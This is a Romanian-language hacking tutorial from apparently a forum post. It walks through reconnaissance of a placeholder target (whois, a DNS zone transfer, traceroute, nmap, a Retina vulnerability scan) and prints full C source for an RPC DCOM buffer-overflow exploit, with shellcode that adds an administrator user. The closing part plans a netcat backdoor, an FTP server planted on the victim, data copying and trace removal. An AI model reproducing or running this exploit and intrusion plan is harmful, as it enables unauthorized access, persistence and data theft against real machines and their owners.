Este vorba in principal de suspendarea protectiei programelor pt calculator (cracking) si de castigarea accesului pe calculatoarele aflate intr-o retea de calculatoare (hacking).
Si uite asa cei doi Gramos m-au facut suficient de curios pentru a citi tot articolul, si, mai ales, suficient de curios pentru a pregati altul, cu tematica asemanatoare, pe care l-am scris mai demult pe un forum de specialitate.
Voi incepe cu simularea unui atac real asupra unui PC, in scopul de a intelege si analiza 2 lucruri.
1- evaluarea cauzelor care au dus la intruziune
2- slabiciunile atacului.
Sa incepem :
Daca v-a pasionat domeniul, si sigur v-a pasionat, a-ti observat desigur ca mai toate exemplele si informatiile pe care le-ati gasit despre hacking vorbesc despre sistemul Linux, sau Unix. Noi vom incerca sa facem acest lucru utilizand doar sistemul windows, si bineinteles programe si scripturi adaptate acestui sistem.
Unelte :
1. NetScan Tools -un program destul de usor de folosit, pe care il gasiti in versiune trial la http://www.netscantools.com
2. Comenzi “net” si consola cmd
3. Nmap - un scaner de porturi care are si o varianta pentru windows
4. Retina - un magnific software de audit de retele, detectii de vulnerabilitati,etc, la fel de potent ca si Nessus, varianta pentru Linux. Il gasiti la http://www.eeye.com
5. Un exploit. Un site de unde puteti descarca exploit-uri este http://www.securityfocus.com
6. Un server FTP. Vom avea nevoie de el pe parcursul exemplului. Cel mai indicat ar fi “serv-u” - http://www.serv-u.com/
7. NC sau NetCat, un fel de briceag elvetian in domeniul retelei. Se poate gasi si o varianta pentru Windows, asta daca stiti sa folositi GOOGLE ! 
Sa incepem:
Primul lucru pe care il facem in incercarea noastra este acela de a stabili ce masina vrem sa testam si de a afla toate informatiile despre acea masina.
Aici va las pe voi sa hotarati cine-i victima. Eu o sa folosesc in exemplu de genul http://www.victima.com
Pentru inceput, n-ar fi rau sa incepem cu NetScan Tools, si o comanda de genul whois :
“Whois Server Version 1.3
Domain Name in the .com and .net can now be registered
with many different registrars.
Go to http://www.internic.net for detailed information
…………………………………..
…………………………………..
Registrant:
………………..
…………………
…………………
…………………
Domain Name: VICTIMA.com
Administrative Contact, Technical Contact:
…………………..
………………………
………………………
………………………
Record expires on 27-Apr-2016.
Record created on 27-Apr-1998.
Database last updated on 7-Jun-2006 05:26:32 EDT.
Domain servers in listed order:
NS1.xxx.COM 123.123.123.123
NS2xxx.COM 123.123.123.123
NS3.xxx.COM 123.123.123.123
[End of Data]
…Datele serverelor de DNS sunt date doar ca exemplu…
Dupa cum ati observat, am sters destule informatii ale victimei, care ne interesau mai mult sau mai putin. Oricum vrem sa-i protejam identitatea, nu?
Ceea ce ne intereseaza insa sunt serverele de DNS. Presupun ca stiti ce sunt, asa ca nu mai pierd vremea cu ele.
Ce ma intereseaza pe mine ca atacator este altceva. Si anume ,daca sunt prost configurate. In cazul unei configurari de mantuiala, este posibil ca un atacator sa obtina o copie a bazei de date a unui server DNS, astfel incat va avea la indemana o harta a retelei, cu IP-uri etc.
Pentru asta vom folosi in continuare tot Netscan Tools. si anume NSLookup, avand grija ca la configurarile avansate ale “uneltei” sa activam casuta “ANY” din “Record QueryOptions”. Asta pentru ca avem nevoie de toate informatiile pe care le putem obtine.
Ce primim “cadou de ziua nationala a hackerului fericit” este :
Looking up [victima.com]
Server: ……………………………..
Address: xxx.xxx.xxx.xxx
Non-authoritative answer:
…………. SOA
SOA origin = ……………..
mail addr = webmaster.victima.com
serial = 2006050201
refresh = 3600(1 hour)
retry = 600(10 mins)
expire = 432000(5 days)
min ttl = 3600(1 hour)
victima.com NS nameserver = ………………..
victima.com NS nameserver = ………………..
victima.com MX preference = 30, mail exchanger = ………………..
victima.com A internet (IPv4) address = xxx.xxx.xxx.xxx
Authoritative answers can be found from:
xxx,yyy.zzz.net A internet (IPv4) address = xxx.xxx.xxx.xxx
xxx.yyy.zzz.net A internet (IPv4) address = xxx.xxx.xxx.xxx
set type - any
ls victima.com
………………………………………..
………………………………………..
victima.com A xxx.xxx.xxx.xxx
gateway A xxx.xxx.xxx.xxx
……………………………….
……………………………….
……………………………….
cash A 321.321.321.321 (e tot un exemplu asa ca nu cautati IP-ul )
……………………………………………………………..
[End Query]
Si astfel an descoperit ceva interesant. Si anume un server numit “cash” cu IP-ul aferent. In acest moment, domeniul victima.com ma intereseaza mai putin. Ceea ce mi-a captat interesul este acest server, in primul rand datorita numelui.
Ce vom face mai departe? Logic, vom folosi un TraceRoute, pentru a descoperi exact ruta dintre calculatorul nostru si serverul de plati, in special penultimul server, inainte de a ajunge la “plati”. De ce ma intereseaza penultimul? Sau chiar ultimele 2-3 puncte din trace route? Simplu. Poate fi un router sau chiar un firewall. Sau cel putin asa ar fi normal.Acelasi lucru il fac si cu alte 2 -3 servere din cadrul retelei, descoperind un element comun - penultimul IP. Sigur este un router sau un firewall, sau amandoua.
Ideea este ca, pentru a penetra o retea ai nevoie de absolut toate informatii pe care le poti obtine. In primul rand pentru a-ti face o imagine de ansamblu asupra acesteia(schema retelei), si bineinteles pentru a sti exact “cu ce te lupti”.
Sa mergem mai departe:
Nmap - o minunatie de scaner de porturi. Iti trebuie cel putin o carte pentru a-i descoperi adevaratele puteri!!!!
Vom folosi nmap pentru a scana serverul “cash”, cu o comanda de genul nmap -s0 -PT -PI -O -T 3 xxx.xxx.xxx.xxx , interesandu-ne in principal ce masini sunt active in cadrul rangului de retea, si bineinteles ce porturi sunt deschise ,ce servicii sunt utilizate si daca se poate, ce sistem de operare foloseste.
Scanam a doua oara IP-ul victimei, dedata aceasta cu o configuratie usor distincta : nmap -sN -P0 -O -v -T 3 -oN………….
Rezultatul va fi mai mult decat interesant:
……………………………………………..
……………………………………………….
………………………………………………
………………………………………………
Remote OS guesses: AIX v4.2, Linux 1.3.20 (x86), Cayman 2E <http://www.cayman.com/>
# Nmap run completed at Sun Jun 21:26:50 2006 — 1 IP addres (1 host up) scanned in 85 seconds
Asa aflam ca este vorba de un router Cayman 2E, cu un SO de tip Linux. Intrand pe pagina Web de Cayman, gasesti documentatia necesara pentru a afla ce te intereseaza.
Se poate spune ca am terminat primul pas in incercarea noastra de a penetra un server.
Se poate spune ca am terminat prima faza a incercarii noastre de a compromite o masina conectata la internet, in speta un server care ne-a atras atentia datorita numelui sau “cash”.
Dupa cum probabil a-ti observat, toate analizele noastre de pana acum au fost realizate cu instrumente usor de gasit pe internet, si mai ales, relativ usor de utilizat, in special daca va pasioneaza domeniul, si daca aveti sufficient timp pentru a citi toata documentatia pe care o gasiti pe forumurile de specialitate.
Am ajuns in momentul in care eu, ca potential intrus trebuie sa decide care este cea mai buna metoda pentru a-mi realiza obiectivul.
Pentru asta voi folosi un program de audit de retele, in cazul nostru - RETINA-
Inainte de a folosi excelentul instrument al celor de la Eeye Digital Security va trebui sa actualizez baza de date cu cele mai noi vulnerabilitati descoperite. Retina este unul dintre cele mai bune programe de audit de retele pe care le poti gasi pe piata. Posbilitatile pe care ti le ofera sunt mii, dar pe noi ne intereseaza numai cum se configureaza un segment de politica de audit, pe baza datelor pe care deja le detinem, astfel incat sa reusim in ceea ce ne-am propus.
Ce si cum se configureaza, va trebui sa cititi si sa descoperiti singuri in documentatia programului.
Noi doar vom lansa acum un process de cautate in cadrul IP-ului victima, pe baza porturilor pe care le cunoastem ca fiind deschise, avand grija ca din menu-ul “Policies” sa dezactivam – Force scan- si –CHAM-, doua functii care nu ne sunt de nici un ajutor in cazul de fata, din contra, n-ar incurca mai mult.
Ceea ce ne va oferi Retina dupa un anumit timp de scanare, vor fi informatii despre IP-ul auditat, informatii detaliate despre server, proturile tinata, serviciile care se executa, si chiar despre utilizatori. In acest caz, eu ca potential intrus imi canalizez atentia asupra incidentelor de securitate, care odata descoperite imi vor face trebuita in incercarea mea de a descoperi cea mai rapida si mai sigura metoda de a penetra serverul.
In cazul de fata ceea ce mi-a atras puternic atentia a fost o vulnerabilitate de tipul “RPC DCOM interface buffer overflow”. Dupa cateva minute de cautare pe internet, si mai ales dupa ce am aflat toate informatiile pe care le pot gasi despre vulnerabilitatea in cauza, eu, ca potential asaltant a gasit si un exploit de care ma pot folosi. Asta in cazul in care nu sunt vreun geniu programator si mi-l fac singur.
Un astfel de exploit ar arata cam asa :
/*
RPCDCOM exploit
copy by mantis <mantiss@hacker.com> 2006.3.14
*/
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>
unsigned char bindstr[]={
0×05,0×00,0×0B,0×03,0×10,0×00,0×00,0×00,0×48,0×00,0×00,0×00,0×7F,0×00,0×00,0×00,
0xD0,0×16,0xD0,0×16,0×00,0×00,0×00,0×00,0×01,0×00,0×00,0×00,0×01,0×00,0×01,0×00,
0xa0,0×01,0×00,0×00,0×00,0×00,0×00,0×00,0xC0,0×00,0×00,0×00,0×00,0×00,0×00,0×46,0×00,0×00,0×00,0×00,
0×04,0×5D,0×88,0×8A,0xEB,0×1C,0xC9,0×11,0×9F,0xE8,0×08,0×00,
0×2B,0×10,0×48,0×60,0×02,0×00,0×00,0×00};
unsigned char request1[]={
0×05,0×00,0×00,0×03,0×10,0×00,0×00,0×00,0xE8,0×03
,0×00,0×00,0xE5,0×00,0×00,0×00,0xD0,0×03,0×00,0×00,0×01,0×00,0×04,0×00,0×05,0×00
,0×06,0×00,0×01,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×32,0×24,0×58,0xFD,0xCC,0×45
,0×64,0×49,0xB0,0×70,0xDD,0xAE,0×74,0×2C,0×96,0xD2,0×60,0×5E,0×0D,0×00,0×01,0×00
,0×00,0×00,0×00,0×00,0×00,0×00,0×70,0×5E,0×0D,0×00,0×02,0×00,0×00,0×00,0×7C,0×5E
,0×0D,0×00,0×00,0×00,0×00,0×00,0×10,0×00,0×00,0×00,0×80,0×96,0xF1,0xF1,0×2A,0×4D
,0xCE,0×11,0xA6,0×6A,0×00,0×20,0xAF,0×6E,0×72,0xF4,0×0C,0×00,0×00,0×00,0×4D,0×41
,0×52,0×42,0×01,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×0D,0xF0,0xAD,0xBA,0×00,0×00
,0×00,0×00,0xA8,0xF4,0×0B,0×00,0×60,0×03,0×00,0×00,0×60,0×03,0×00,0×00,0×4D,0×45
,0×4F,0×57,0×04,0×00,0×00,0×00,0xA2,0×01,0×00,0×00,0×00,0×00,0×00,0×00,0xC0,0×00
,0×00,0×00,0×00,0×00,0×00,0×46,0×38,0×03,0×00,0×00,0×00,0×00,0×00,0×00,0xC0,0×00
,0×00,0×00,0×00,0×00,0×00,0×46,0×00,0×00,0×00,0×00,0×30,0×03,0×00,0×00,0×28,0×03
,0×00,0×00,0×00,0×00,0×00,0×00,0×01,0×10,0×08,0×00,0xCC,0xCC,0xCC,0xCC,0xC8,0×00
,0×00,0×00,0×4D,0×45,0×4F,0×57,0×28,0×03,0×00,0×00,0xD8,0×00,0×00,0×00,0×00,0×00
,0×00,0×00,0×02,0×00,0×00,0×00,0×07,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00
,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0xC4,0×28,0xCD,0×00,0×64,0×29
,0xCD,0×00,0×00,0×00,0×00,0×00,0×07,0×00,0×00,0×00,0xB9,0×01,0×00,0×00,0×00,0×00
,0×00,0×00,0xC0,0×00,0×00,0×00,0×00,0×00,0×00,0×46,0xAB,0×01,0×00,0×00,0×00,0×00
,0×00,0×00,0xC0,0×00,0×00,0×00,0×00,0×00,0×00,0×46,0xA5,0×01,0×00,0×00,0×00,0×00
,0×00,0×00,0xC0,0×00,0×00,0×00,0×00,0×00,0×00,0×46,0xA6,0×01,0×00,0×00,0×00,0×00
,0×00,0×00,0xC0,0×00,0×00,0×00,0×00,0×00,0×00,0×46,0xA4,0×01,0×00,0×00,0×00,0×00
,0×00,0×00,0xC0,0×00,0×00,0×00,0×00,0×00,0×00,0×46,0xAD,0×01,0×00,0×00,0×00,0×00
,0×00,0×00,0xC0,0×00,0×00,0×00,0×00,0×00,0×00,0×46,0xAA,0×01,0×00,0×00,0×00,0×00
,0×00,0×00,0xC0,0×00,0×00,0×00,0×00,0×00,0×00,0×46,0×07,0×00,0×00,0×00,0×60,0×00
,0×00,0×00,0×58,0×00,0×00,0×00,0×90,0×00,0×00,0×00,0×40,0×00,0×00,0×00,0×20,0×00
,0×00,0×00,0×78,0×00,0×00,0×00,0×30,0×00,0×00,0×00,0×01,0×00,0×00,0×00,0×01,0×10
,0×08,0×00,0xCC,0xCC,0xCC,0xCC,0×50,0×00,0×00,0×00,0×4F,0xB6,0×88,0×20,0xFF,0xFF
,0xFF,0xFF,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00
,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00
,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00
,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00
,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×01,0×10
,0×08,0×00,0xCC,0xCC,0xCC,0xCC,0×48,0×00,0×00,0×00,0×07,0×00,0×66,0×00,0×06,0×09
,0×02,0×00,0×00,0×00,0×00,0×00,0xC0,0×00,0×00,0×00,0×00,0×00,0×00,0×46,0×10,0×00
,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×01,0×00,0×00,0×00,0×00,0×00
,0×00,0×00,0×78,0×19,0×0C,0×00,0×58,0×00,0×00,0×00,0×05,0×00,0×06,0×00,0×01,0×00
,0×00,0×00,0×70,0xD8,0×98,0×93,0×98,0×4F,0xD2,0×11,0xA9,0×3D,0xBE,0×57,0xB2,0×00
,0×00,0×00,0×32,0×00,0×31,0×00,0×01,0×10,0×08,0×00,0xCC,0xCC,0xCC,0xCC,0×80,0×00
,0×00,0×00,0×0D,0xF0,0xAD,0xBA,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00
,0×00,0×00,0×00,0×00,0×00,0×00,0×18,0×43,0×14,0×00,0×00,0×00,0×00,0×00,0×60,0×00
,0×00,0×00,0×60,0×00,0×00,0×00,0×4D,0×45,0×4F,0×57,0×04,0×00,0×00,0×00,0xC0,0×01
,0×00,0×00,0×00,0×00,0×00,0×00,0xC0,0×00,0×00,0×00,0×00,0×00,0×00,0×46,0×3B,0×03
,0×00,0×00,0×00,0×00,0×00,0×00,0xC0,0×00,0×00,0×00,0×00,0×00,0×00,0×46,0×00,0×00
,0×00,0×00,0×30,0×00,0×00,0×00,0×01,0×00,0×01,0×00,0×81,0xC5,0×17,0×03,0×80,0×0E
,0xE9,0×4A,0×99,0×99,0xF1,0×8A,0×50,0×6F,0×7A,0×85,0×02,0×00,0×00,0×00,0×00,0×00
,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00
,0×00,0×00,0×01,0×00,0×00,0×00,0×01,0×10,0×08,0×00,0xCC,0xCC,0xCC,0xCC,0×30,0×00
,0×00,0×00,0×78,0×00,0×6E,0×00,0×00,0×00,0×00,0×00,0xD8,0xDA,0×0D,0×00,0×00,0×00
,0×00,0×00,0×00,0×00,0×00,0×00,0×20,0×2F,0×0C,0×00,0×00,0×00,0×00,0×00,0×00,0×00
,0×00,0×00,0×03,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×03,0×00,0×00,0×00,0×46,0×00
,0×58,0×00,0×00,0×00,0×00,0×00,0×01,0×10,0×08,0×00,0xCC,0xCC,0xCC,0xCC,0×10,0×00
,0×00,0×00,0×30,0×00,0×2E,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×00
,0×00,0×00,0×00,0×00,0×00,0×00,0×01,0×10,0×08,0×00,0xCC,0xCC,0xCC,0xCC,0×68,0×00
,0×00,0×00,0×0E,0×00,0xFF,0xFF,0×68,0×8B,0×0B,0×00,0×02,0×00,0×00,0×00,0×00,0×00
,0×00,0×00,0×00,0×00,0×00,0×00};
unsigned char request2[]={
0×20,0×00,0×00,0×00,0×00,0×00,0×00,0×00,0×20,0×00
,0×00,0×00,0×5C,0×00,0×5C,0×00};
unsigned char request3[]={
0×46,0×00,0×43,0×00,0×24,0×00,0×46,0×00,
0×31,0×00,0×32,0×00,0×33,0×00,0×34,0×00,0×35,0×00
,0×36,0×00,0×31,0×00,0×31,0×00,0×31,0×00,0×31,0×00,0×31,0×00,0×31,0×00,0×31,0×00
,0×31,0×00,0×31,0×00,0×31,0×00,0×31,0×00,0×31,0×00,0×31,0×00,0×31,0×00,0×31,0×00
,0×2E,0×00,0×64,0×00,0×6F,0×00,0×63,0×00,0×00,0×00};
unsigned char sccnsp3sp4[]=
“\x6C\x00\x6F\x00\x63\x00\x61\x00\x6C\x00\x68\x00″
“\x6F\x00\x73\x00\x74\x00\x5C\x00\x43\x00\x24\x00\x5C\x00″
“\x58\x00\xeb\x3c\x46\x00\x46\x00\xeb\x7c\x46\x00\x46\x00\x38\x6e”
“\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01″
“\xeb\x1e\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30″
“\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xeb\x06\xf1\xe1\xf2\xe1\xea\xd2″
//SHELLCODE From SAM ,THANKs !
//Add user SST,password is 557,
“\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x4D\x01\x80\x34\x0A\x99\xE2\xFA”
“\xEB\x05\xE8\xEB\xFF\xFF\xFF”
“\x70\xDA\x98\x99\x99\xCC\x12\x75\x18\x75\x19\x99\x99\x99\x12\x6D”
“\x71\x92\x98\x99\x99\x10\x9F\x66\xAF\xF1\x01\x67\x13\x97\x71\x3C”
“\x99\x99\x99\x10\xDF\x95\x66\xAF\xF1\xE7\x41\x7B\xEA\x71\x0F\x99″
“\x99\x99\x10\xDF\x89\xFD\x38\x81\x99\x99\x99\x12\xD9\xA9\x14\xD9″
“\x81\x22\x99\x99\x8E\x99\x10\x81\xAA\x59\xC9\xF3\xFD\xF1\xB9\xB6″
“\xF8\xFD\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED”
“\xB9\x12\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xB9\xAC\xAC\xAE”
“\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED\xB9\x12″
“\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xFD\xFD\x99\x99\xF1\xED”
“\xB9\xB6\xF8\xF1\xEA\xB9\xEA\xEA\xF1\xF8\xED\xF6\xEB\xF1\xF0\xEA”
“\xED\xEB\xF1\xFD\xF4\xF0\xF7\xF1\xEC\xE9\xB9\xF8\xF1\xF5\xFE\xEB”
“\xF6\xF1\xF5\xF6\xFA\xF8\xF1\xF7\xFC\xED\xB9\x12\x55\xC9\xC8\x66″
“\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81″
“\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A”
“\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3″
“\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78″
“\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D”
“\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99″
“\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12″
“\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99″
“\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\x21\x67\x66\x66″
“\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce”
“\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6″
“\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7″
“\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4″
“\x7f\x19\x95\xd5\x17\x53\xe6\x6a”
“\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca”
“\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90\x90″ //
“\x90\x90\x90\x90\x90\x90\x90\x90″
“\x77\xe0\x43\x00\x00\x10\x5c\x00″
“\xeb\x1e\x01\x00″// FOR CN SP3/SP4+-MS03-26
“\x4C\x14\xec\x7C”// TOP SEH FOR cn w2k+SP4，must modify to SEH of your target’sos
//FILL BYTE,so sizeof(UNC)>0X400(0X80*8),why? You can read more form my artic《Utilization of released heap structure and exploit of universal Heap overflow inwindows 》.
“\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x90\x02\x80\x34\x0A\x99\xE2\xFA”
“\xEB\x05\xE8\xEB\xFF\xFF\xFF”
“\xC7\x5F\x9D\xBD\xDD\x14\xDD\xBD\xDD\xC9\x14\xDD\xBD\x9D\xC9\x14″
“\x1D\xBD\x1D\x99\x99\x99\xC9\x14\x1D\xBD\x0D\x99\x99\x99\xC9\xAA”
“\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\x2D\x99\x99\x99\xC9\x66\xCF”
“\x95\x14\xD5\xBD\xDD\x14\x8D\xBD\xAA\x59\xC9\xF1\xAC\x99\xAE\x99″
“\xF1\xB9\x99\xAC\x99\xF1\xEA\x99\xED\x99\xF1\xB9\x99\xEA\x99\xF1″
“\xFC\x99\xEB\x99\xF1\xEC\x99\xEA\x99\xF1\xED\x99\xB9\x99\xF1\xF7″
“\x99\xFC\x99\x12\x45\xC8\xCB\xC8\xCB\x14\x1D\xBD\x29\x99\x99\x99″
“\xC9\x14\x1D\xBD\x59\x99\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA”
“\x14\x1D\xBD\x79\x99\x99\x99\xC9\x66\xCF\x95\xC3\xC0\xAA\x59\xC9″
“\xF1\xFD\x99\xFD\x99\xF1\xB6\x99\xF8\x99\xF1\xED\x99\xB9\x99\xF1″
“\xEA\x99\xEA\x99\xF1\xEA\x99\xB9\x99\xF1\xF6\x99\xEB\x99\xF1\xF8″
“\x99\xED\x99\xF1\xED\x99\xEB\x99\xF1\xF0\x99\xEA\x99\xF1\xF0\x99″
“\xF7\x99\xF1\xFD\x99\xF4\x99\xF1\xB9\x99\xF8\x99\xF1\xEC\x99\xE9″
“\x99\xF1\xEB\x99\xF6\x99\xF1\xF5\x99\xFE\x99\xF1\xFA\x99\xF8\x99″
“\xF1\xF5\x99\xF6\x99\xF1\xED\x99\xB9\x99\xF1\xF7\x99\xFC\x99\x12″
“\x45\xC8\xCB\x14\x1D\xBD\x61\x99\x99\x99\xC9\x14\x1D\xBD\x91\x98″
“\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\xB1\x98\x99″
“\x99\xC9\x66\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12″
“\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12″
“\xC3\xB9\x9A\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA”
“\x59\x35\xA3\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD”
“\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A”
“\x44\x12\x9D\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2″
“\x5B\x9D\x99\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12″
“\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31″
“\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\xEC\x64\x66\x66″
“\x04\x04\x00\x70\x00\x04\x40″
“\x00\x10\x5c\x00\x78\x01\x07\x00\x78\x01\x07\x00\xa0\x04\x00″
“\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71″;
unsigned char request4[]={
0×01,0×10
,0×08,0×00,0xCC,0xCC,0xCC,0xCC,0×20,0×00,0×00,0×00,0×30,0×00,0×2D,0×00,0×00,0×00
,0×00,0×00,0×88,0×2A,0×0C,0×00,0×02,0×00,0×00,0×00,0×01,0×00,0×00,0×00,0×28,0×8C
,0×0C,0×00,0×01,0×00,0×00,0×00,0×07,0×00,0×00,0×00,0×00,0×00,0×00,0×00
};
void main(int argc,char ** argv)
{
WSADATA WSAData;
SOCKET sock;
int len,len1;
SOCKADDR_IN addr_in;
short port=135;
unsigned char buf1[0x1000];
unsigned char buf2[0x1000];
printf(”RPC DCOM overflow Vulnerability discoveried by NSFOCUS\n”);
printf(”Coded by moebius”);
printf(”…………………………………”);
printf(”…………………………………”);
if(argc!=3)
{
printf(”%s targetIP \n”,argv[0]);
printf(”for cn w2k server sp3/sp4+ms03-26\n”);
}
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf(”WSAStartup error.Error:%d\n”,WSAGetLastError());
return;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(port);
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf(”Socket failed.Error:%d\n”,WSAGetLastError());
return;
}
len1=sizeof(request1);
len=sizeof(sccnsp3sp4);
if(WSAConnect(sock,(struct sockaddr*)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
printf(”Connect failed.Error:%d”,WSAGetLastError());
return;
}
memcpy(buf2,request1,sizeof(request1));
*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sccnsp3sp4)/2;
*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sccnsp3sp4)/2;
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sccnsp3sp4,sizeof(sccnsp3sp4));
len1=len1+sizeof(sccnsp3sp4);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+len-0xc;
*(DWORD *)(buf2+0×10)=*(DWORD *)(buf2+0×10)+len-0xc;
*(DWORD *)(buf2+0×80)=*(DWORD *)(buf2+0×80)+len-0xc;
*(DWORD *)(buf2+0×84)=*(DWORD *)(buf2+0×84)+len-0xc;
*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+len-0xc;
*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+len-0xc;
*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+len-0xc;
*(DWORD *)(buf2+0×18c)=*(DWORD *)(buf2+0×18c)+len-0xc;
if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
{
printf(”Send failed.Error:%d\n”,WSAGetLastError());
return;
}
len=recv(sock,buf1,1000,NULL);
if (send(sock,buf2,len1,0)==SOCKET_ERROR)
{
printf(”Send failed.Error:%d\n”,WSAGetLastError());
return;
}
// len=recv(sock,buf1,1024,NULL);
}
/*
*/
Care dintre voi aveti putin habar de programare, o sa va dati seama repede de ce este vorba, mai ales ca asezarea codului in pagina lasa putin de dorit.
Bun!!!! In acest moment dispunem de informatii, de o vulnerabilitate descoperita si, bineinteles, de exploit. Acum vine partea cea mai “emotionanta” !!!
Va trebui sa decidem care este cea mai buna metoda de a profita de situatie.
Dar, inainte de toate, trebuie sa punem putin ideile in ordine:
1-Avem intentia de a obtine controlul calculatorului pe baza unui exploit descoperit sau programat, care, in acest caz, ne poate oferi privilegii de administrator.
2- Avand controlul calculatorului nu ne foloseste insa foarte mult daca drepturile de consola pe care le obtinem sunt destul de restrictive si, in general instabile. Conexiunea se poate pierde in orice moment, iar intentiile noastre de a lansa repetitiv exploitul pot face ca masina sa devina instabila.
3-Intentia noastra este ca, odata intrati in masina victima, sa deschidem un backdoor care sa permita o conexiune stabila de tip consola. Pentru asta vom folosi netcat.
4-Pe langa o conexiune stabile, avem nevoie si de o serie de “unelte” care sa ne permita analiza hard-ului, serviciilor care se executa, copierea datelor care ne intereseaza, stergerea urmelor etc. Inevitabil, “uneletele” necesare trebuie sa se afle pe hardul victimei, o problema nu foarte greu de rezolvat, dar care necesita putina imaginatie.
5- Concluzie pentru tot – vom avea nevoie de un server de ftp instalat pe masina victima, care sa ne resolve toate problemele.
Definirea manierei de a realiza atacul :
Iata ca am ajuns si la momentul cel mai emotionant al incercarii noastre de a compromite o retea. Ca potentiali intrusi va trebui sa decidem care va fi cea mai buna metoda de a lansa o ofensiva impotriva masinii care ne-a atras atentia.
